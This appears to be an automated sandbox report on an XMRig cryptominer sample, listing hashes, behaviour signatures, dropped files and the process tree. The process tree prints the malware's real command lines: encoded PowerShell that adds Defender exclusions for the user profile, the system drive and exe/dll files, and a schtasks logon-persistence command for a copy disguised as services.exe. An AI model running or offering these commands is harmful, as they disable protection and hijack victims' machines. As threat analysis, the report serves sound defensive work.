Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/12/2024, 02:47

General

  • Target

    JaffaCakes118_41e6c5ccf174a78f6a12af2898bcd7a9cbe8d59cf9d9536747e1194998049992.exe

  • Size

    4.0MB

  • MD5

    5fabb9965401cfb8a14fc634a427a98f

  • SHA1

    5c20d202bb4f96ee6506f79a2a2e476ab8386790

  • SHA256

    41e6c5ccf174a78f6a12af2898bcd7a9cbe8d59cf9d9536747e1194998049992

  • SHA512

    af91d214cb7f4b069dfe03c448e56059ff19871fd756e463d47bea17804fec68062093694eb9d6c8418be17b07f9ea626fe57620d0c4379d70a3fb2c08ccc0ec

  • SSDEEP

    98304:ZP4w9vjX7YYOls+UHVWvrZtePi5XCZE2VKI5CX:ZPZLsQpHVWvcpVKIY

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_41e6c5ccf174a78f6a12af2898bcd7a9cbe8d59cf9d9536747e1194998049992.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_41e6c5ccf174a78f6a12af2898bcd7a9cbe8d59cf9d9536747e1194998049992.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4476
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3984
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4472
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:544
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2224
        • C:\Windows\system32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:812
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4800
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1124
        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:3116
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe akovwilknylp0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRhyomsEanimzL+XPt/OnL5zkmhp4OKKV4oWMsUGWdwsoJudug7VIc6ebqddtMoL+8IBSLOtVFEJNctzsbAFCv5LFA0+pkqqr1nCx8fTFBuMw+OLiwo/SsR3rjZo+bft8oJOnArJgxMPdtfn3m4ICAAM3e2n70xyYsrZgv/mIjZ2s9MaWAVhE4vx5zxn4+fM4NxwQhCGRkaMVzSVPxkc4W4VUXCpA4yUlvFPRJn8S+yy9iUUpnGCywwE6cDcLt5DZIDXewj+xO4xE/aANwcdtidmwr0//85B+3VNT5iZiIC3FLzQE/vsUkNT9YQYUOQPjfBnjL7vzm5Q1ckI01V+0GBIlv+bX5ygP0xmeV9VgfPl4NZiC/LoM58JakN7IxZR/9DzCU+xTFYW50R3bR0l6IO+xdIhsG4X3v9YDNU15Qyz9+OxzSQEq5RCbfpWTpQuUofyKsvbLE9Jwpdr18PHoeiHN7tf8MAg8mUIkcnDa9CmC61qEDPq1VUv3vKJsXFBRAqNhhAwMRJW8JWGqkS4GgNVE5biRqbZhwaOTP6eEIlrQ==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4616

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    d28a889fd956d5cb3accfbaf1143eb6f

    SHA1

    157ba54b365341f8ff06707d996b3635da8446f7

    SHA256

    21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

    SHA512

    0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    9c740b7699e2363ac4ecdf496520ca35

    SHA1

    aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

    SHA256

    be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

    SHA512

    8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    47605a4dda32c9dff09a9ca441417339

    SHA1

    4f68c895c35b0dc36257fc8251e70b968c560b62

    SHA256

    e6254c2bc9846a76a4567ab91b6eae76e937307ff9301b65d577ffe6e15fe40a

    SHA512

    b6823b6e794a2fe3e4c4ecfb3f0d61a54821de7feb4f9e3e7fd463e7fbb5e6848f59865b487dafebeac431e4f4db81ef56836d94cac67da39852c566ed34a885

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5u3b52mn.23d.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe

    Filesize

    9KB

    MD5

    8fdd61447409b34bff375dd0e988bb49

    SHA1

    c8585a53aa833147e4082bef04e401aac0c7c6b1

    SHA256

    2a8e0532e8255342e6599696a3d354cfde8b511a740427e6c7a37c6970f8f394

    SHA512

    79fb098910623ba48ab0ff94bbac67f0126b84ffe692c2b3b07bd4cbc3a1ef3787285c870e6f2d3c0b20608903bc4f6625aa2343031afc27057e1d4bece8d337

  • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe

    Filesize

    4.0MB

    MD5

    5fabb9965401cfb8a14fc634a427a98f

    SHA1

    5c20d202bb4f96ee6506f79a2a2e476ab8386790

    SHA256

    41e6c5ccf174a78f6a12af2898bcd7a9cbe8d59cf9d9536747e1194998049992

    SHA512

    af91d214cb7f4b069dfe03c448e56059ff19871fd756e463d47bea17804fec68062093694eb9d6c8418be17b07f9ea626fe57620d0c4379d70a3fb2c08ccc0ec

  • memory/3116-76-0x0000000000B20000-0x0000000000B26000-memory.dmp

    Filesize

    24KB

  • memory/3164-6-0x0000028E6DE90000-0x0000028E6DEB2000-memory.dmp

    Filesize

    136KB

  • memory/3164-19-0x00007FFD9D8C0000-0x00007FFD9E381000-memory.dmp

    Filesize

    10.8MB

  • memory/3164-16-0x00007FFD9D8C0000-0x00007FFD9E381000-memory.dmp

    Filesize

    10.8MB

  • memory/3164-15-0x00007FFD9D8C0000-0x00007FFD9E381000-memory.dmp

    Filesize

    10.8MB

  • memory/3164-4-0x00007FFD9D8C0000-0x00007FFD9E381000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-36-0x00007FFD9D8C0000-0x00007FFD9E381000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-0-0x00007FFD9D8C3000-0x00007FFD9D8C5000-memory.dmp

    Filesize

    8KB

  • memory/4476-33-0x00007FFD9D8C0000-0x00007FFD9E381000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-32-0x00007FFD9D8C3000-0x00007FFD9D8C5000-memory.dmp

    Filesize

    8KB

  • memory/4476-3-0x00007FFD9D8C0000-0x00007FFD9E381000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-2-0x00000000012D0000-0x00000000012E2000-memory.dmp

    Filesize

    72KB

  • memory/4476-1-0x0000000000510000-0x000000000091E000-memory.dmp

    Filesize

    4.1MB

  • memory/4616-80-0x00000000020E0000-0x0000000002100000-memory.dmp

    Filesize

    128KB

  • memory/4616-77-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/4616-79-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/4616-81-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/4616-84-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/4616-83-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/4616-82-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/4616-85-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB